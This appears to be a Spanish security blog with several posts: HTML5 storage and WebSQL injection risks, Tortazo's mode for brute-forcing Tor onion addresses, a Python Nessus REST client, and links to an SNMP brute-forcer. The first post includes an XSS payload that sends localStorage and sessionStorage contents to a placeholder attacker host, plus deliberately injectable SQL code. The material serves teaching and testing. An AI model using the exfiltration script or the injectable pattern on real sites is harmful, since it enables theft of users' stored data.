El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

Intentando descubrir hidden services en TOR

octubre 22, 2014 Deja un comentario

En el articulo “ataca un servicio oculto en la red de TOR, si te atreves” he explicado el funcionamiento del protocolo rendesvouz de TOR y las dificultades existentes a la hora de descubrir cualquier tipo de servicio anónimo en TOR. Actualmente, una de las formas más eficientes de atacar la red consiste en intentar controlar la mayor cantidad de repetidores de entrada y salida para posteriormente ejecutar ataques basados en el análisis de las peticiones y los tiempos de las mismas, sin embargo para ello se requieren varios repetidores de TOR controlados y profesionales que sepan aplicar las técnicas de ataque adecuadas, cosas que no suelen estar al alcance de cualquiera. Por otro lado, una de las características intrínsecas de la deep web de TOR, es que no es fácil encontrar cualquier servicio y menos aun si no conoces su dirección onion. Muchas veces, los usuarios de estas redes se dedican a curiosear y a recopilar direcciones que van encontrando en foros, sitios en Internet o en algunos de los buscadores más populares en la web profunda, sin embargo ¿qué pasa con aquellos servicios que son realmente ocultos? Es decir, aquellos servicios cuyas direcciones onion solamente las conocen un grupo muy pequeño de personas y no se encuentran registradas en foros o buscadores. ¿Quiénes suelen crear y usar ese tipo de servicios? Si lo piensas detenidamente, encontrar dichas direcciones es prácticamente imposible, ya que como se ha explicado en el artículo anterior, no es como buscar una aguja en pajar, es más bien como buscar una aguja entre varios billones de agujas aparentemente iguales y sin ningún patrón o perfil que las distinga.

Por otro lado, cuando intentas desarrollar un Framework de auditoria en la deep web de TOR, contar con un repositorio de direcciones onion para poder ejecutar ataques automatizados contra dichos servicios es muy importante y además de contar con un listado de direcciones conocidas (recolectadas de foros, sitios en Internet y buscadores), también es útil contar con mecanismos para intentar descubrir servicios ocultos. Sin embargo aquí, volvemos a lo que ya se ha explicado anteriormente: Manejar el volumen de datos que puede producir el espacio de posibles direcciones onion es simplemente inviable con la capacidad de procesamiento que tienen los ordenadores modernos.

No obstante, a pesar de las dificultades, un atacante puede intentar generar muchas direcciones onion de forma aleatoria o incremental y determinar si en alguna de ellas hay un servicio en ejecución. En este sentido, en Tortazo he implementado algunos mecanismos para generar y procesar direcciones onion, con el fin de intentar descubrir servicios ocultos en la web profunda de TOR.

Estos mecanismos y la estructura que he montado, se explica a continuación.

Modo “Onion Repository” en Tortazo

Es posible generar direcciones Onion validas y posteriormente intentar realizar diferentes tipos de peticiones a dicha dirección, si la conexión es correcta, se asume que hemos encontrado un servicio valido. Ahora bien, pueden haber dos formas de abordar el problema considerando las limitaciones de procesamiento explicadas anteriormente, por un lado puedes intentar generar todas las permutaciones posibles partiendo de una dirección onion parcial con lo cual, entre más conocimiento se tenga sobre la dirección onion (número de caracteres conocidos), mayores serán las probabilidades de encontrar rápidamente el servicio en la web profunda de TOR. Por otro lado, si no tienes información sobre una dirección onion concreta y simplemente quieres consultar cualquier dirección onion sin ningún patrón determinado, Tortazo permitirá generar direcciones onion de forma aleatoria y realizar una conexión para ver si existe algún servicio oculto en ejecución en dicha dirección.

Se trata de dos aproximaciones completamente distintas que pueden ayudar a descubrir servicios ocultos, pero en ambos casos, lo más importante es que la generación y procesamiento de cada dirección onion se haga lo más rápidamente posible, esto con el fin de probar la mayor cantidad de direcciones onion en una franja de tiempo determinada.

En primer lugar, contar con un único proceso para la generación de direcciones y posterior procesamiento (petición contra el servicio) puede ser algo bastante lento, por este motivo, en Tortazo se cuenta con dos colas compartidas, una para las direcciones onion generadas y otra para aquellas direcciones sobre las cuales se ha detectado un servicio oculto en ejecución. Evidentemente, existen dos grupos de procesos, uno de ellos se encarga de la generación de direcciones onion que se insertarán en la cola de direcciones generadas y otro para procesar cada una de dichas direcciones onion y determinar si hay un servicio oculto en ejecución; y si ese es el caso, dicha dirección se insertará en la cola compartida de direcciones con servicios en ejecución.

Puede que suene un poco complejo, a lo mejor con la siguiente imagen queda un poco más claro.

OnionRepository

Para ejecutar Tortazo en modo “repositorio” es necesario especificar la opción “-R” y además, es posible indicar otros detalles como el número de procesos que debe crear la herramienta para el procesamiento y generación de direcciones onion (-W), una dirección onion parcial para generar las direcciones onion de forma incremental (-O <partialAddress>) o generar direcciones onion de forma aleatoria (-O RANDOM).

Algunos ejemplos se pueden ver a continuación:

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones HTTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.


python Tortazo.py –R http –O RANDOM –W 5 –v 

 

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.

python Tortazo.py –R ftp –O RANDOM –W 10 –v

 

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ftp –O sad53kig53r2gh –W 10 –v

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones SSH contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ssh –O sad53kig53r2gh –W 10 –v

 

Por otro lado, las direcciones onion sobre las que se ha detectado un servicio oculto en ejecución, se almacenan directamente en base de datos para que puedan ser usadas en alguno de los plugins disponibles en Tortazo. Además, en el proyecto también se incluye un fichero con un listado casi 400 direcciones onion que pueden cargarse (opcionalmente) en la base de datos cuando se arranca el modo “respository” de Tortazo.

Y así funciona el modo repositorio en Tortazo. Actualmente estoy desarrollando varias ideas para ampliar/mejorar el mecanismo de descubrimiento de direcciones onion, sin embargo, será algo que implementaré para la versión 1.2 y cuando sea el momento os hablaré de ello. De momento encontrarás información más detallada en la documentación oficial: http://tortazo.readthedocs.org/en/latest/
Por último, si tienes alguna idea o sugerencia para mejorar, me encantaria que te pusieras en contacto conmigo (debiadastra [at] gmail.com).
Un saludo y Happy Hack!

Servicios REST en Nessus y pynessus-rest

octubre 14, 2014 Deja un comentario

Nessus es un escáner de vulnerabilidades que ha ganado su prestigio gracias a sus capacidades a la hora de detectar y reportar fallos de todo tipo. Es una herramienta que se encuentra a la altura de otras herramientas tan potentes y utilizadas como OpenVAS, NeXpose o Metasploit Framework. Nessus permite crear y lanzar diferentes tipos de escaneos contra múltiples objetivos, crear políticas ajustadas a diferentes tipos de auditorías que pueden ser lanzadas por el pentester y generar reportes muy completos sobre las vulnerabilidades encontradas. Su uso es muy intuitivo y aunque muchos pentesters suelen utilizarlo “in-situ” por medio de la consola administrativa de Nessus, también es posible utilizarlo de forma programática por medio de la API Rest disponible para ello. No son muchos los pentesters que suelen utilizar esta potente característica de Nessus, ya que normalmente estos servicios serán consumidos por herramientas de auditoría desarrolladas por terceros que quieran aprovechar los beneficios de Nessus o automatizar sus rutinas, como es el caso del plugin de “nessus” incluido en Tortazo.
Hace varios meses, tenia la necesidad de utilizar Nessus desde mis scripts escritos en Python, pero desafortunadamente no encontré ninguna librería que utilizará la especificación de servicios REST incluida a partir de la versión 5 de Nessus, solamente encontraba librerías que utilizaban la especificación antigua, la cual se basaba en XML-RPC. Una de las primeras que me encontré fue pynessus (http://code.google.com/p/pynessus/) la cual no solamente no utiliza la última especificación, sino que además no se encuentra soportada por nadie y tiene varias funciones con errores de compilación. Cualquier desarrollador la descartaría a la primera. Otras más como nessusxmlrpc (http://code.google.com/p/nessusxmlrpc/) o python-nessus (https://github.com/greencm/python-nessus) son más de lo mismo.
Cansado de perder tiempo buscando y encontrando solamente escombros de código, decidí crear una librería en Python para consumir los servicios REST de Nessus desde cualquier herramienta escrita en Python y es así como he terminado escribiendo pynessus-rest (https://github.com/Adastra-thw/pynessus-rest).
Se trata de una librería muy simple que consume todos los servicios REST definidos en la especificación de Nessus(http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y permite convertir los formatos de las respuestas (típicamente JSON) en una estructura de objetos en Python para su posterior uso.
Para instalar pynessus-rest, basta con ejecutar el script “setup.py” con el argumento “install”.

	python setup.py install

Después de instalar la librería, es posible utilizarla desde cualquier script en Python simplemente importando las clases y/o funciones necesarias. En este caso, la clase más importante para interactuar con una instancia de Nessus es la clase “NessusClient”, la cual cuenta con varios métodos para gestionar usuarios, políticas, reportes, escaneos planificados, etc.

Autenticación con el servidor de Nessus.

Lo primero es autenticarse para poder interactuar con los demás servicios y para ello, se debe invocar al servicio REST “login” el cual recibe como argumentos, el nombre de usuario y contraseña. Si el proceso de autenticación es correcto, el servicio devolverá un token identificativo del usuario, el cual debe ser utilizado por el cliente para futuras invocaciones a otros servicios que requieran permisos de acceso. La clase “NessusClient” tiene la función “login”, la cual se encarga de todos estos detalles a la hora de interactuar con el servicio REST “login” de Nessus e internamente, guarda el token devuelto por el servicio en el caso de una autenticación exitosa. Esto quiere decir, que la propia instancia de “NessusClient” guarda el token de autenticación internamente para que cualquier otra petición posterior lo pueda usar. El desarrollador se despreocupa de tener que guardar él mismo dicho token entre diferentes peticiones a otros servicios REST.
Para crear una instancia de la clase “NessusClient” se deben enviar al constructor el host y el puerto donde se encuentra en ejecución el servidor de Nessus y la función “login” recibe como argumentos las credenciales de acceso para iniciar sesión y obtener un token valido.

	from pynessus.rest.client.NessusClient import NessusClient
	client = NessusClient('127.0.0.1','8834')
	client.login('adastra','adastra')

En el caso de que el proceso de login se ejecute correctamente con las credenciales ingresadas por el usuario, es posible utilizar todos los servicios expuestos en Nessus por medio de la instancia de “NessusClient” creada anteriormente.

 

Gestión de Políticas

Para iniciar un escaneo utilizando Nessus, es obligatorio crear una política que será aplicada a dicho escaneo. Las políticas definen los objetivos e indican el tipo de auditoría que se debe aplicar e internamente, define los plugins que se lanzarán contra los objetivos definidos. Hay una serie de plantillas de políticas que vienen pre-configuradas en Nessus, el usuario normalmente debe seleccionar una de dichas plantillas y rellenar los campos necesarios para configurar la política. Con Pynessus-rest, es posible utilizar todos los servicios REST definidos en la especificación de Nessus para la creación y gestión de políticas. El uso de algunas de dichas funciones se incluye a continuación:

	client.policyPreferencesList()
	client.policyList()
	client.policyCopy(1)
	client.policyDelete(1)
	client.policyFilePolicyImport("policy.nessus")

 

Gestión de Escaneos

Los escaneos son la principal característica funcional de Nessus, sin los cuales evidentemente la herramienta carecería de sentido. Los escaneos creados en Nessus pueden ser planificados y además pueden pausarse, reanudarse o detenerse manualmente. Estas características también se pueden controlar programáticamente desde pynessus-rest utilizando los servicios REST de Nessus disponibles para ello.

	client.scanNew("192.168.1.33",'1','EscaneoConPolitica1')
	client.scanStop('ec665c9e-ce24-336b-acb4-e2b199fac1800854abce5c111a8d')
	client.scanTemplateNew('1','127.0.0.1', 'Plantilla')
	client.scanTemplateLaunch('NewTemplate')

 

Gestión de Reportes

Todos los escaneos lanzados desde Nessus van generando reportes de forma periódica, dependiendo del progreso del escaneo, dichos reportes pueden ser más o menos completos.

	client.reportList()
	client.reportHosts("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb")
	client.reportTags("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb", '127.0.0.1', jsonFormat=True)

 

Convertir respuestas JSON a objetos en Python.

Todas las respuestas devueltas por los servicios REST de Nessus pueden estar en formato XML o JSON, siendo el formato JSON el valor por defecto y de uso más común cuando hablamos de servicios REST. Dado que las estructuras de datos que devuelven algunos servicios REST de Nessus son bastante complejas, la clase “NessusConverter” se encarga de convertir dichas respuestas en objetos Python que puedan ser manejados mucho más fácilmente por el desarrollador.

 nessusConverter = NessusConverter(self.nessusClient.usersList())
 nessusConverter.userToStructure()
 for nessusUser in nessusConverter.nessusStructure.nessusUsers:
     print nessusUser.name,nessusUser.admin,nessusUser.idx,nessusUser.lastLogin

 
 nessusConverter = NessusConverter(self.nessusClient.pluginsList())
 nessusConverter.pluginsListToStructure()
 for nessusPlugin in nessusConverter.nessusStructure.pluginsList:
     print nessusPlugin.familyMembers, nessusPlugin.familyName

 nessusConverter = NessusConverter(self.nessusClient.pluginsMd5())
 nessusConverter.md5StructureToStructure()
 for md5 in nessusConverter.nessusStructure.md5Structure:
     print  md5.fileName, md5.md5

En esta entrada solamente he incluido una breve descripción de la librería con algunas de sus funcionalidades, un uso mucho más exhaustivo lo podrás encontrar en el módulo “nessus” de Tortazo, el cual explota completamente todas las funciones disponibles en pynessus-rest y los servicios REST definidos en la última versión de Nessus. Además te invito a que pruebes esta librería con cualquier instancia de Nessus a la que tengas acceso.

Saludos y Happy Hack!

Hacking con Python Parte 34 – Examinando servicios SNMP con PySNMP

septiembre 30, 2014 Deja un comentario

Uso de PySNMP para controlar agentes SNMP en un segmento de red local.

simpleSNMPTest.py:    https://github.com/Adastra-thw/pyHacks/blob/master/simpleSNMPTest.py
simpleSNMPTestOIDs.py:    https://github.com/Adastra-thw/pyHacks/blob/master/simpleSNMPTestOIDs.py
snmpBruter.py:    https://github.com/Adastra-thw/pyHacks/blob/master/snmpBruter.py


Repositorio GIT de la serie:

https://github.com/Adastra-thw/pyHacks.git


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